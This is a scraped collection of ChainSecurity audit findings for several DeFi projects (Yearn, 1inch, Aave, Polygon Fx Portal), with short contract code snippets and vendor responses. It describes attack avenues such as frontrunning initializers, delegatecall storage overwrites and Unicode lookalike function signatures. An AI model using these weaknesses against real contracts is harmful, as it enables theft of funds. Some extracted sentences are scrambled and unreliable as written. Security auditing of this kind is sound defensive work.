"https://chainsecurity.com/security-audit/yearn-v3-vaults/"}, {"title": "8.3 Queue Manager Can Pause Withdrawals From", "body": " Strategies A faulty or malicious queue_manager with should_override enabled can pause users' withdrawals from strategies by: (1) directly revert. (2) return a non-existing strategy. queue_manager must be properly configured and trusted if enabled. the should_override option has been removed so users can always bypass the In queue_manager if a customized withdraw queue is specified. Otherwise, the withdraw queue will be queried from the queue_manager. Yearn - V3 Vaults - 20 NoteVersion1NoteVersion1NoteVersion1Version2 \fif queue_manager != empty(address): if len(_strategies) == 0: _strategies = IQueueManager(queue_manager).withdraw_queue(self) ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-v3-vaults/"}, {"title": "8.4 Race Condition on Withdrawal From", "body": " Strategies If total_idle is insufficient to fulfill the redemption, _redeem() attempts to retrieve assets from the strategies. Should a queried strategy have unrealized loss, the user has to take a part of this loss. In case the vault has global unrealized loss, users may engage in a race to withdraw from the optimal strategies. In case the queue_manager is disabled, users will race to withdraw from the strategies without unrealized loss. As a consequence, the tardy users will take more unrealized loss. In case the queue_manager is enabled, withdrawals may be biased across all strategies depending on the actual construction of the withdraw_queue. Users will only share the unrealized loss of a strategy in a fair way if it is reported by the REPORTING_MANAGER. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-v3-vaults/"}, {"title": "8.5 Tokens With a Blacklist", "body": " Tokens such as USDC maintain a blacklist that prohibits the transfer of tokens to and from the addresses listed on it. Assuming a vault utilizes such a token, a blacklisted address would be unable to be the recipient when funds are withdrawn. If a strategy is blacklisted, withdrawal of allocated funds would be impossible. Furthermore, if a vault itself is blacklisted, the withdrawal of all deposited funds would be prevented. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-v3-vaults/"}, {"title": "8.6 Trade-off in Profits Distribution", "body": " All profits getting paid to vault depositors are retroactive: New joiners of a vault will share part of the locked profits accumulated before they entered. The locked profits generated by their deposits will be forfeited upon their withdrawals. This is a trade-off to improve the gameability and avoid intensive gas to track specific accounts for the time they deposit. As long as the profits are distributed slowly and continuously, no whales are expected to game the system by deposit right before a profit harvest and realize full gains. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-v3-vaults/"}, {"title": "8.7 User-Selected Strategies", "body": " If no queue manager is configured, when idle funds are insufficient for a withdrawal, users can specify which strategies should be used to retrieve funds. Yearn - V3 Vaults - 21 NoteVersion1NoteVersion1NoteVersion1NoteVersion1 \fThis could enable users to substantially interfere with the planned allocation of assets, necessitating frequent intervention from the debt_manager. Yearn - V3 Vaults - 22 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-v3-vaults/"}, {"title": "5.1 No Documentation", "body": " 0 0 0 4 No documentation is available for ERC20Pods. This abstract contract is intended to be used by third parties hence documentation is vital to avoid issues. For authors of pods it must be clearly documented what they have to take into account and what they can rely on, such as: Failed calls to Pod.updateBalances() are ignored, consequently authors of pods must be aware of the consequences for their pods Amount of gas available When exactly the token triggers Pod.updateBalances(): Upon non-zero token transfers and when the pod is added/removed from an account having non-zero balance. Misunderstandings by a developer of a Pod may lead to correctness issues. The trust model should be clearly specified, including: How exactly pods are trusted / untrusted Whether only trusted parties can add/remove pods to/from an account. If this holds, the docs should clearly state that a developer extending ERC20Pods must adhere to this Furthermore not all token holders, e.g. contracts can call addPod() themselves. The documentation may elaborate on this topic, e.g., what can be assumed / what the limitations are. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/1inch-erc20-pods/"}, {"title": "5.2 Consistency on Zero Amount Transfers", "body": " 1inch - ERC20 Pods - 10 SecurityDesignCriticalHighMediumLowAcknowledgedRiskAcceptedAcknowledgedSecurityLowVersion1DesignLowVersion1Acknowledged \fThe ERC20 standard specifies Note Transfers of 0 values MUST be treated as normal t ransfers and fire the Transfer event.. For consistency, it may make sense to inform the registered pods about 0 balance actions and 0 amount transfers. If this behavior is desired the way it is, it should be mentioned somewhere so that Pod developer are aware that 0 balance or 0 amount transfers are not notified to the Pod. Acknowledged: 1inch acknowledged the issue and decided to leave the code as it is. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/1inch-erc20-pods/"}, {"title": "5.3 Side Effects of _updateBalances()", "body": " While the gas check prevents direct reentrancy into the token on functions changing the balance, 200_000 gas is enough to make some other state changes that could affect to-be-updated pods. Notably upon updating the first pod A, this contract may interact with another pod B which is to be updated later in the sequence and hence does not yet know about these balance changes pod A currently executing already is aware of. While we have not uncovered any direct issue, a badly designed or adversarial pod could be problematic. No trust model nor specification covering this scenario is available. Risk accepted: 1inch is aware of and accepts the risk. introduced a reentrancy guard. Note that this can be leveraged by a pod to detect such a scenario and revert. While the state of the reentrancy guard itself cannot be querried direcly, public functions balanceOf and podBalanceOf now feature the nonReentrant(View) modifier and will revert if called in such a situation. Hence in the scenario described above pod B could call balanceOf() and be protected. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/1inch-erc20-pods/"}, {"title": "5.4 Zero Address Consistency in AddressArray", "body": " When querying an index that is out-of-bounds with AddressArray.at, the function does not revert and returns address(0). Thus, it is not possible to distinguish between an address(0) that would effectively be part of the array, and an out-of-bounds access. Acknowledged: 1inch is aware of the issue and states that in the current use case, no pod with address(0) can be added. While this is true in the case of ERC20Pods, it can still be an issue for other contracts using the library. 1inch - ERC20 Pods - 11 SecurityLowVersion1RiskAcceptedVersion2DesignLowVersion1Acknowledged \f6 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. -Severity Findings -Severity Findings -Severity Findings -Severity Findings ERC20Pods podsLimit Sanitization Missing Events Operations Order on Pod Removal 0 0 0 3 ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/1inch-erc20-pods/"}, {"title": "6.1 ERC20Pods podsLimit Sanitization", "body": " The podsLimit in the ERC20Pods's constructor is never sanitized. If podsLimit is zero, the functionality added by ERC20Pods cannot be used, so it would not make sense to allow setting podsLimit=0. The constructor of the ERC20Pods contract now checks that podsLimit is not zero. Note that in sanitized. Unsuitable values could make the ERC20Pods unusable. the constructor takes a second parameter podCallGasLimit_ which is not ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/1inch-erc20-pods/"}, {"title": "6.2 Missing Events", "body": " Typically, events help track the state of the smart contract. To be able to reconstruct the state offchain, events should be emitted when users add and remove pods. Two events PodAdded and PodRemoved have been added and are emitted whenever a pod is added/removed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/1inch-erc20-pods/"}, {"title": "6.3 Operations Order on Pod Removal", "body": " 1inch - ERC20 Pods - 12 CriticalHighMediumLowCodeCorrectedCodeCorrectedCodeCorrectedDesignLowVersion1CodeCorrectedVersion2DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \fWhen a pod is removed with removePod, it is first removed from the internal address set, and then the balances are updated. But when calling removeAllPods, the balances are updated before the pod is removed from the address set. Thus, there are two different behaviors for the same action and the potential for inconsistencies arises. The function removeAllPods now follows the order of removePod by first removing the pod from the address set and then update the balances. 1inch - ERC20 Pods - 13 \f7 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/1inch-erc20-pods/"}, {"title": "7.1 Failed Call to Pod Is Silent", "body": " ERC20Pods._updateBalances() calls the pod with a fixed amount of gas. If this call fails, the execution nonetheless continues normally in order to not block the ERC20. Users must be aware that a failed call to a pod is silent and will not emit any event. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/1inch-erc20-pods/"}, {"title": "7.2 Integrations May Break Due to Gas", "body": " Requirements A transfer of an ERC20Pods may require significantly more gas than the transfer of a normal ERC20. This especially applies when sender and receiver are connected to multiple distinct pods. Moreover, the current abstract contract ERC20Pods allows an user to register any arbitrary pod for his address. In the worst case each of the pods uses the full 200'000 gas available. When sender and receiver have distinct pods this amounts to 2 * podsLimit gas. Integrations must take this into account in order to avoid running into problems such as, but not limited to: An example could be a liquidation of a position where in an extreme case multiple different ERC20Pods where each sender/receiver is connected to several pods must be transferred. The liquidation may not be possible due to the gas requirement exceeding the block gas limit. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/1inch-erc20-pods/"}, {"title": "7.3 Not Exactly _POD_CALL_GAS_LIMIT", "body": " Available A Pod cannot rely on having exactly 200'000 gas available upon being called. While it is taken into account that a maximum of 63/64 of the remaining gas can be passed to the call, due to the overhead between the check and the call: if lt(div(mul(gas(), 63), 64), _POD_CALL_GAS_LIMIT) { mstore(0, exception) revert(0, 4) } pop(call(_POD_CALL_GAS_LIMIT, pod, 0, ptr, 0x64, 0, 0)) } in a corner case scenario the call may receive slightly less gas. 1inch - ERC20 Pods - 14 NoteVersion1NoteVersion1NoteVersion1 \f7.4 Order of Pods in AddressSet Users msut be aware that upon pod removal, the order in the pods in the AddressSet may change, so two calls to podAt with index X, with a call to removePod in-between, may not yield the same result. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/1inch-erc20-pods/"}, {"title": "7.5 Unaffected Elements of the Output Memory", "body": " Array on AddressArray.get() providing function When AddressArray.get(Data storage self, address[] memory output), users must be aware that if length(self) < output.length(), only the length(self) first elements of output will be overwritten, leaving the remaining elements of output untouched. memory output array the an to 1inch - ERC20 Pods - 15 NoteVersion1NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/1inch-erc20-pods/"}, {"title": "6.1 Compromised Guardian Can Block the", "body": " Executor The guardian role has the privilege to cancel queued actions sets before they are executed. Updating the guardian address can only be done through an action. If the guardian account is compromised, it can always cancel an actions set which tries to update the guardian role to a new address. Effectively, once the guardian address is compromised it can block the Executor indefinitely. Risk accepted: Aave replied: The guardian address is designed to be a multisig or governance executor (never an EOA) so having a compromised guardian is unlikely to happen. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/aave-bridge-executors/"}, {"title": "6.2 Dangerous Delegatecalls", "body": " Actions sets may include actions (calls) to be executed as DELEGATECALL in the context of the BridgeExecutor. While this allows to aggregate multiple calls governed by code which can adapt to on chain state, should the called contract write to storage, this would write to the storage of the BridgeExecutor. Hence variables of the contract may be overwritten. This can result in the internal Aave - Bridge Executors - 11 SecurityDesignCriticalHighMediumLowRiskAcceptedRiskAcceptedRiskAcceptedRiskAcceptedSecurityLowVersion1RiskAcceptedDesignLowVersion1RiskAccepted \fvariables being changed without respecting the restrictions enforced in their setter function, e.g. updateGracePeriod() and the check for the minimum grace period. Besides, a Delegatecall is also able to modify/delete existing actions sets, insert arbitrary new actions sets or manipulate entries in _queuedActions. The governance must be aware of this danger. Untrusted code must never be called with DELEGATECALL. Furthermore, note that the following corner case exists: An action consisting of a call to the BridgeExecutor's executeDelegateCall function technically allows the governance to execute a call as a Delegatecall (with the risks mentioned above) despite the flag withDelegatecalls being set to false. Risk accepted: Aave replied: The Executor contract assumes that any set of transactions that are queued by a successful proposal is legit. Thus, there are no bad actions that the contract can execute since the proposal passes multiple checks by the community, devs, white hats, auditors, etc. The executeDelegateCall function is designed to be used for executing payload contracts, where a set of actions are described (instead of having multiple encoded calldatas). The governance should check that the delegate call execution does not update or alter any executor contract's state variable. Apart from that, the correct way of doing a delegate call is through the action set and the execute function, instead of calling directly to executeDelegateCall. The community would detect and raise this concern if applicable. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/aave-bridge-executors/"}, {"title": "6.3 Function Signature as String, Unicode", "body": " Charset An action may contain the function signature as a string. This allows to display the function to be called in a human readable way. However, this can be dangerous as strings support the unicode charset and many lookalike characters of different alphabets exist in this charset. Hence users might be tricked to approve an action which seemingly contains the intended function call, but actually results in a different function selector. Given a function selector consists of 4 bytes only, it might be feasible to find such a collision. For characters, into https://util.unicode.org/UnicodeJsps/confusables.jsp?a=setReserveActive lookalike insights more please refer to: Risk accepted: Aave replied: Governance should assess, test and simulate each proposal, checking the outcome of its changes without trusting string function signatures. Having the function signature human-readable is not a way of validating the legitimacy of proposals by any means. Aave - Bridge Executors - 12 SecurityLowVersion1RiskAccepted \f6.4 Potential Reentrancy on execute The function execute is not protected against reentrancy. While the governance is trusted to not create actions sets which reenter into execute() and start executing another actions set, generally speaking an action may reach untrusted third-party code. This untrusted code may reenter the BridgeExecutor. This would break the atomicity of sets of actions and may result in unexpected executions and states. Risk accepted: Aave replied: The community and governance decide if an action set should execute any other action set of the same executor. The community should asses every governance proposal carefully. Aave - Bridge Executors - 13 SecurityLowVersion1RiskAccepted \f7 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/aave-bridge-executors/"}, {"title": "7.1 Execution Order of Queued Actions Sets", "body": " Multiple queued actions sets which are ready for execution may be executed in an arbitrary order. All actions which depend on a particular execution order must be placed within the same actions set where the order of execution is defined. If multiple actions sets exist at the same time, they must be independent of each other. Moreover, updating critical system variables in one actions set might change the behavior of other actions sets. For example, assume _delay is set to one day at the beginning. Actions set A is queued in the BridgeExecutor, A updates _delay to one second. On L1, the governance decides on actions set B. Governance should be careful, depending on whether A is executed before/after actions set B is queued on L2, a different _delay is applied before B can be executed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/aave-bridge-executors/"}, {"title": "7.2 Impact of Rollback, Finality of Actions", "body": " Especially regarding finality, L2 solutions based on optimistic rollups behave differently than L1 Ethereum. Should a rollback happen due to the discovery of an incorrect tx, this tx and all subsequent tx have to be reexecuted. This impacts the timestamp of the transaction. Most of the times incorrect transaction results are detected immediately and the rollback happens immediately, however in a worst-case scenario the rollback might happen just before the end of the fault proof period. In such cases the timestamp of the transaction changes significantly. The BridgeExecutor heavily relies on the timestamps, e.g. to determine whether an action can be executed or if it already expired. Similarly the execution time is calculated based on the timestamp when queue() is executed. After a rollback the timestamps may have shifted and e.g. a previously executed actions set can no longer be executed as it has expired. Furthermore, the order of transactions after a rollback is not guaranteed, there may be a change of sequence between a transaction to execute() or cancel() a pending actions set. Validating all transactions may help to detect incorrect transactions early, however in a worst-case scenario (e.g. a bug in the validator software) may not detect such a wrong transaction and an unexpected fraud proof may be submitted resulting in a rollback. The governance needs to be careful about finality on L2. Overall L2 solutions are still considered as experimental, interactions must be done with care. Note that at the time of this review Optimism has not yet implemented fraud proofs while in Arbitrum only whitelisted addresses can create a challenge. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/aave-bridge-executors/"}, {"title": "7.3 Potentially Resurrected ActionsSet", "body": " Aave - Bridge Executors - 14 NoteVersion1NoteVersion1NoteVersion1 \fAn actions set expires if the _gracePeriod has elapsed since the executionTime. However, an expired actions set may resurrect if the _gracePeriod is extended by the governance later in the future. Resulting an expired actions set might be executable again. It should be carefully thought about if this suspended state should be allowed, especially as the guardian can only cancel queued actions set which have not yet expired. Aave - Bridge Executors - 15 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/aave-bridge-executors/"}, {"title": "6.1 Public Setter Functions Can Be Frontrun", "body": " The following functions can only be executed once and have no access controls: 1. FxBaseRootTunnel.setFxChildTunnel 2. FxBaseChildTunnel.setFxRootTunnel 3. FxRoot.setFxChild 4. FxChild.setFxRoot 5. FxERC20.initialize 6. FxERC721.initialize 7. FxERC1155.initialize If deployment and initialization is not done within one transaction it would be possible for a malicious actor to frontrun the deployer's call to the functions and instead call them with malicious values first. This will cause the deployer's function call to revert. FxBaseRootTunnel and FxBaseChildTunnel are to be inherited by contracts in order to use the bridging functionality of the Fx Portal. This may lead to problems with their deployment. Implementors should be aware of this behavior, mitigate this and ensure/verify that initialization is done correctly. If their setTunnel functions are frontrun, the contract will need to be redeployed. This can be expensive in terms of gas. The Wrapper contracts FxRoot and FxChild for the interaction with the StateSender have already been deployed and initialized correctly. If a new instance of one of these contracts is deployed, the the Token contracts the deployer must verify FxERC20/ERC721/ERC115 used the in initialize() function is called from contracts within the same transactions. the examples minimal proxy contracts are deployed functions are called correctly. For that Polygon - Fx Portal - 12 DesignCorrectnessCriticalHighMediumRiskAcceptedCodePartiallyCorrectedLowDesignMediumVersion1RiskAccepted \fRisk accepted: Polygon states: It is a known risk that initialization functions can be frontrun, but this is low-risk since there is no incentive for a malicious actor to do so. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/polygon-fx-portal/"}, {"title": "6.2 Use (Up to Date) Dependencies", "body": " Several contracts present in lib or tokens are copy & pasted from third party repositories. An exception to this pattern is the SafeERC20 library which is imported from a dependency listed in the package.json file. This pattern is generally preferable. Note that several of the copy & pasted dependencies are also from this OpenZeppelin contracts dependency, hence could simply be imported from there. Package.json package-lock.json allows to fix specific version. the dependencies and lists the requirements on the version, while This allows to effortlessly update to newer versions of these contract which may include bug fixes. Note that this must be done with due care as functionality could change. Once a new version has been deemed suitably safe, the new version can be fixed in package-lock.json. Most copy & pasted contracts are old versions, furthermore the version of the OpenZeppelin dependency is outdated. Notably, the implementation of ERC721 contains several changes reloading state after beforeTokenTransfer(), which may have updated this data. Code partially corrected: The dependencies in package.json were changed to more recent versions. ERC20.sol and IERC20.sol were updated to OpenZeppelin v4.7.3. The other copy & pasted contracts in lib have not been updated. Polygon - Fx Portal - 13 DesignMediumVersion1CodePartiallyCorrected \f7 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. -Severity Findings -Severity Findings mapToken() Callable Only by Mappers -Severity Findings Description of toBoolean() Is Incorrect FxMintableERC20RootTunnel connectedToken Initialized Incorrectly -Severity Findings Codehash Variable Type Could Be Set to Immutable FxMintableERC20ChildTunnel Has No withdrawTo Function FxMintableERC20RootTunnel Events Missing Outdated Compiler Version Return Value of _checkBlockMembershipInCheckpoint() SafeMath Library Is Redundant Unused Variable in FxMintableERC20RootTunnel _processMessageFromChild Comment Incorrect 0 1 2 8 ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/polygon-fx-portal/"}, {"title": "7.1 mapToken() Callable Only by Mappers", "body": " In FxERC20RootTunnel and FxERC721RootTunnel, the mapToken function is annotated as follows: /** * @notice Map a token to enable its movement via the PoS Portal, callable only by mappers * @param rootToken address of token on root chain */ function mapToken(address rootToken) public { The function however has no access control, anyone may map a token. The same function in FxERC1155RootTunnel lacks a function description. It also has no access control. Specification changed: The comment has been changed to: //@notice Map a token to enable its movement via the PoS Portal, callable by anyone Polygon - Fx Portal - 14 CriticalHighSpeci\ufb01cationChangedMediumSpeci\ufb01cationChangedCodeCorrectedLowCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedSpeci\ufb01cationChangedCorrectnessHighVersion1Speci\ufb01cationChanged \f7.2 Description of toBoolean() Is Incorrect In RLPReader, the description of toBoolean() states that \"any non-zero byte is considered true\". The function takes an RLPItem as input. In RLP encoding, byte values in the range [0x80-0xff] are encoded as 2 bytes like this: [0x81, the_byte]. For RLPItems encoding such values, toBoolean() will revert, since it enforces that the length of the RLPItem is 1. This is a mismatch, as these values are non-zero and should return true according to the comment. Specification changed: The comment has been changed to: // any non-zero byte < 128 is considered true ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/polygon-fx-portal/"}, {"title": "7.3 FxMintableERC20RootTunnel", "body": " connectedToken Initialized Incorrectly the _deployRootToken rootToken's In _connectedToken field is initialized as rootToken. This means the rootToken's _connectedToken will be itself, not the childToken on the other chain. function of FxMintableERC20RootTunnel, the The _connectedToken is now correctly initialized with the childToken. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/polygon-fx-portal/"}, {"title": "7.4 Codehash Variable Type Could Be Set to", "body": " Immutable In the following contracts the variable childTokenTemplateCodeHash could be changed to an immutable: 1. FxERC20RootTunnel.sol 2. FxERC721RootTunnel.sol 3. FxERC1155RootTunnel.sol This avoids unnessesary and expensive reads from storage, hence reduces the gas consumption. Polygon - Fx Portal - 15 CorrectnessMediumVersion1Speci\ufb01cationChangedCorrectnessMediumVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f These and more variables have been declared immutable. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/polygon-fx-portal/"}, {"title": "7.5 FxMintableERC20ChildTunnel Has No", "body": " withdrawTo Function The FxMintableERC20ChildTunnel has no withdrawTo function, unlike the other example contracts. Tokens can only be withdrawn to the same address on the RootChain as the calling address on the ChildChain. This may make it impossible for some smart contract wallets to bridge tokens, since the user may not be able to deploy the smart contract wallet at the same address on the other chain. A withdrawTo() function has been added, which takes a receiver argument. It calls an internal function _withdraw(), which is identical to the previous withdraw() function, except that it calls _sendMessageToRoot() with the receiver address instead of msg.sender. The public withdraw() function's functionality is unchanged. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/polygon-fx-portal/"}, {"title": "7.6 FxMintableERC20RootTunnel Events Missing", "body": " The FxMintableERC20RootTunnel contract emits no events when tokens are deposited or withdrawn, which is different behavior than all other example contracts. The missing events have been added. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/polygon-fx-portal/"}, {"title": "7.7 Outdated Compiler Version", "body": " The project's hardhat config specifies an outdated version of the Solidity compiler. solidity: { version: \"0.8.0\", Known bugs in version 0.8.0 are: https://github.com/ethereum/solidity/blob/develop/docs/bugs_by_version.json#L1685 More information about these bugs can be found here: https://docs.soliditylang.org/en/latest/bugs.html At the time of writing, the most recent Solidity release is version 0.8.16. Polygon - Fx Portal - 16 DesignLowVersion1CodeCorrectedCorrectnessLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f The compiler version has been updated to 0.8.17. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/polygon-fx-portal/"}, {"title": "7.8 Return Value of ", "body": " _checkBlockMembershipInCheckpoint() FxBaseRootTunnel._validateAndExtractMessage() to In _checkBlockMembershipInCheckpoint() is made. This internal function has a return value which however is ignored. call a The return value has been removed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/polygon-fx-portal/"}, {"title": "7.9 SafeMath Library Is Redundant", "body": " An old version of FxERC20MintableRootTunnel. the SafeMath library (made for Solidity <0.8) is used in ERC20 and The main use of SafeMath was previously to revert on arithmetic overflow. As of Solidity 0.8, overflow checks were introduced into the Solidity compiler. This makes the use of SafeMath redundant. The SafeMath library has been removed. ERC20.sol and IERC20.sol have been updated to OpenZeppelin v4.7.3, which does not use SafeMath. The required IERC20MetaData.sol has also been added. FxERC20MintableRootTunnel no longer uses SafeMath. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/polygon-fx-portal/"}, {"title": "7.10 Unused Variable in", "body": " FxMintableERC20RootTunnel The childTokenTemplateCodeHash variable in FxMintableERC20RootTunnel is declared but never used. Polygon - Fx Portal - 17 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \fThe unused variable has been removed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/polygon-fx-portal/"}, {"title": "7.11 _processMessageFromChild Comment", "body": " Incorrect The comment of _processMessageFromChild() in FxBaseRootTunnel says that is called from the onStateReceive function. This is incorrect. It is actually called from receiveMessage(). Specification changed: The comment has been changed to //This is called by receiveMessage function. Polygon - Fx Portal - 18 CorrectnessLowVersion1Speci\ufb01cationChanged \f8 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/polygon-fx-portal/"}, {"title": "8.1 FxERC20RootTunnel Cannot Map All ERC-20", "body": " Tokens mapToken in FxERC20RootTunnel calls ERC20.decimals(). //name, symbol and decimals ERC20 rootTokenContract = ERC20(rootToken); string memory name = rootTokenContract.name(); string memory symbol = rootTokenContract.symbol(); uint8 decimals = rootTokenContract.decimals(); In the ERC-20 standard, decimals is optional. If the rootToken does not have a decimals function, the call will revert and it will be impossible to map this token. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/polygon-fx-portal/"}, {"title": "8.2 _processMessageFromRoot() Must Succeed", "body": " Messages synced from Ethereum to Polygon via the StateSender are executed only once. This execution through FxChild.onStateReceived() has 5 million gas available. Should the execution revert for any reason, the message is lost. The individual implementation of _processMessageFromRoot() of smart contracts using the FxStateChildTunnel of the Fx Portal must respect that. They should not contain external calls or anything that may revert if lost messages cannot be tolerated. Polygon - Fx Portal - 19 NoteVersion1NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/polygon-fx-portal/"}, {"title": "5.1 CRV Not Locked When Used to Mint YCRV", "body": " When YCRV is minted with the mint() function, CRV is not locked. In yveCRV, CRV is locked upon minting. In YCRV.mint(...) it is not locked immediately, but a separate call to StrategyProxy.lock() is needed. assert ERC20(CRV).transferFrom(msg.sender, VOTER, amount) # dev: no allowance self._mint(_recipient, amount) log Mint(msg.sender, _recipient, False, amount) return amount Not locking the CRV immediately in the CRV voting escrow implies a mismatch between the total supply of YCRV and the effective voting power and total rewards of VOTER. It also imposes increased trust requirements towards governance, which might sweep the not yet locked CRV from the VOTER. Risk accepted Yearn states: Locking CRV is gas intensive. Decision was made to have locking occur at some periodic interval via external process rather than burden each user with gas costs. Yearn - yCRV and ZapYCRV - 10 SecurityDesignCorrectnessCriticalHighMediumRiskAcceptedLowRiskAcceptedCorrectnessMediumVersion1RiskAccepted \f5.2 Trades During ZapYCRV.zap Conversions The ZapYCRV.zap function can involve multiple Curve pools during the conversion. First, CRV -> LPYCRV conversions will involve up to 2 trades in LPYCRV pool: 1. Trade of all CRV to yCRV 2. Trade of some yCRV to CRV, during the unbalanced deposit into the pool Compared to trade of some CRV to yCRV and a balanced deposit, the 2 trades double pay the fees. Second, in the case when CVXCRV is an input, these 2 trades are preceded by a trade on CVXCRVPOOL. Please note, that due to number of pools and exchanges during the conversion process the min_out argument can be hard to specify precisely. In addition, imprecise min_out specified would allow 3rd parties to front run the zap. Risk accepted Yearn states: Realize that for some specific paths, this can be inefficient. However, hardcoding paths will lead to more contract complexity and overall gas consumption (including for users who\u2019s zap path touches neither of these tokens) which we view as undesirable. We agree that users can potentially lose more due to swap fees, but ultimately most of those same fees get realized to the pool LPs, helping to repay them over time. Yearn - yCRV and ZapYCRV - 11 SecurityLowVersion1RiskAccepted \f6 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. -Severity Findings LPYCRV Outputs Not Transferred to User -Severity Findings Incorrect relative_price When Input Is Not Legacy and Output Is LPYCRV -Severity Findings ZapYCRV _min_out LPYCRV Limit -Severity Findings ERC20 Return Values Not Checked ZapYCRV.zap Natspec 1 1 1 2 ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-finance-ycrv-and-zapycrv/"}, {"title": "6.1 LPYCRV Outputs Not Transferred to User", "body": " In the zap function of ZapYCRV, converting to LPYCRV as _output_token will not transfer LPYCRV to the user but leave it in the ZapYCRV contract instead. When LPYCRV is the output token, ZapYCRV should first deposit YCRV as liquidity in the POOL StableSwap pool, receiving the POOL liquidity token. The POOL liquidity token should then be deposited in the LPYCRV vault and the issued shares transferred to the user. The following line of code in _convert_to_output is responsible for the specified logic. amount_out: uint256 = Vault(LPYCRV).deposit(self._lp([0, amount], _min_out, _recipient)) which calls the self._lp(...) function, defined as @internal def _lp(_amounts: uint256[2], _min_out: uint256, _recipient: address) -> uint256: return Curve(POOL).add_liquidity(_amounts, _min_out) The _recipient argument is passed to the _lp function, but never used. The _lp function doesn't actually need the _recipient argument, because ZapYCRV will still need to deposit the liquidity token into the LPYCRV vault. The Vault(LPYCRV).deposit function is called without specifying the recipient argument, which therefore defaults to msg.sender, which is the ZapYCRV contract in the context of the deposit call. Finally the zap function returns and the issued shares of LPYCRV are never transferred to the user, but left to ZapYCRV instead. Yearn - yCRV and ZapYCRV - 12 CriticalCodeCorrectedHighCodeCorrectedMediumCodeCorrectedLowCodeCorrectedCodeCorrectedCorrectnessCriticalVersion1CodeCorrected \fCode corrected The recipient argument of the _lp function has been removed. @internal def _lp(_amounts: uint256[2]) -> uint256: return Curve(POOL).add_liquidity(_amounts, 0) A recipient value _convert_to_output function. is now specified in the deposit call to the LPYCRV vault in the amount_out: uint256 = Vault(LPYCRV).deposit(self._lp([0, amount]), _recipient) ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-finance-ycrv-and-zapycrv/"}, {"title": "6.2 Incorrect relative_price When Input Is Not", "body": " Legacy and Output Is LPYCRV In relative_price the relative price for the POOL liquidity token is returned instead of the relative price of LPYCRV when _input_token is not a legacy token and _output_token is LPYCRV. The relative price for _input_token not in legacy_tokens and _output_token equal to LPYCRV is computed as follow: return amount * 10 ** 18 / Curve(POOL).get_virtual_price() This doesn't take into account that the output token is LPYCRV and not POOL, so the POOL tokens need to be used to purchase LPYCRV shares at price Vault(LPYCRV).pricePerShare(). When _input_token is a legacy token, it is computed correctly as follows: lp_amount: uint256 = amount * 10 ** 18 / Curve(POOL).get_virtual_price() return lp_amount * 10 ** 18 / 